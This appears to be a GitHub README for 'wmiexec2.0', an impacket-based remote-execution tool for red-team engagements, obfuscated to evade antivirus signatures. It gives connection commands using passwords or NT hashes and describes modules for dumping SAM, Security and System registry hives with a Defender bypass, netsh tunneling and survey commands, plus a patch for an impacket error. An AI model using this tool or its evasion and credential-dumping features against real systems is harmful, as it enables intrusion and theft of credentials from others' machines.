wmiexec2.0

Overview

• wmiexec2.0 is the same wmiexec that everyone knows and loves.
• This 2.0 version is obfuscated to avoid well known signatures from various AV engines.
• It also has a handful of additional built in modules to help automate some common tasks on Red team engagements.
• This script is under active development and will improve with time.
• If you find an issue or want a specific module throw me a PR.
• Enjoy

Installation

• Do not wget this file with GitHubs Raw feature, it will break the Ghost emoji. Git clone the repo and it will all work.

git clone https://github.com/ice-wzl/wmiexec2.git

Help

• To view the help and available modules:

C:\>help

Connection

• You can still connect to the remote machine the exact same way.
• You can specify whether you want a powershell shell or a cmd shell by adding the flag --shell-type powershell or --shell-type cmd
• Password auth + NT Hash auth still both apply

python3 wmiexec2.0.py DOMAIN/USERNAME:[email protected] -shell-type powershell
python3 wmiexec2.0.py WORKGROUP/Administrator:'Password123!@#'@10.0.0.4 -shell-type powershell

Normal wmiexec functionality

• lcd {path} change directory on your local machine
• exit you should know this one
• lput {src_file} {dst_file} upload local file to remote machine path
• lget {file} download remote file to your local machine
• ! {cmd} execute local system command --> !ls lists your current directory on your local machine

Additional modules

• Everything else from here and below is additional features added into wmiexec to make it wmiexec2.0
• cat - just to make this more unix friendly simply uses type on the remote machine to view a file....just an alias you can use
• ls || ls C:\Users - allows you to view your current target directory. Its executing the dir /a command so you will see hidden files by default without any other special options

Sysinfo

• To see basic target information use this module

Regrip

• Save off the SAM, Security and System hives to your local machines. Defender blocks this by default, so I had to find a bypass working as of 6/7/24. Try to not get this signatured, thanks in advance.

Tunneling

• Leverage Windows built in netsh tunneling without having to type the whole thing out
• See below for usage options

Survey

• under active development
• Input your own custom commands into survey.conf file seperated by a new line, or use the basic one that I have provided
• There are two options with this module:
• run module with survey which will print out the command you ran plus the output of that command
• Or run with survey savethis will return none of the commands to stdout, but will save all commands run and their output into survey.txt located in your local pwd.

survey save

• to run the survey module and save the output to your local station (No stdout)

👻 PS C:\>  survey save

Known impacket issues

• If you recieve this error:

python3 wmiexec2.py Administrator:'abc123!!!'@172.17.0.2 -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[-] Can't find a valid stringBinding to connect

• This is usually caused when a target system is NAT'ed in some way. A target behind a router, a cloud VPS, or a docker container are three good examples that will cause this error.
• To read more
• fortra/impacket#272

To Fix

• Find your dcomrt.py file (if you pip3 install -r requirements.txt) it should be under ~

find / -type f -name "dcomrt.py" 2>/dev/null
/opt/impacket-0.11.0/build/lib/impacket/dcerpc/v5/dcomrt.py
/opt/impacket-0.11.0/impacket/dcerpc/v5/dcomrt.py
/opt/Responder/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py
/home/ubuntu/.local/lib/python3.10/site-packages/impacket/dcerpc/v5/dcomrt.py

• Edit the file

vim /home/ubuntu/.local/lib/python3.10/site-packages/impacket/dcerpc/v5/dcomrt.py

• Find this line

if stringBinding is None:

• Comment out this line right before the above line

#raise Exception('Can\'t find a valid stringBinding to connect')

• Add these two lines instead

stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort)
LOG.info('Can\'t find a valid stringBinding to connect,use default!')

• That should fix the issue!
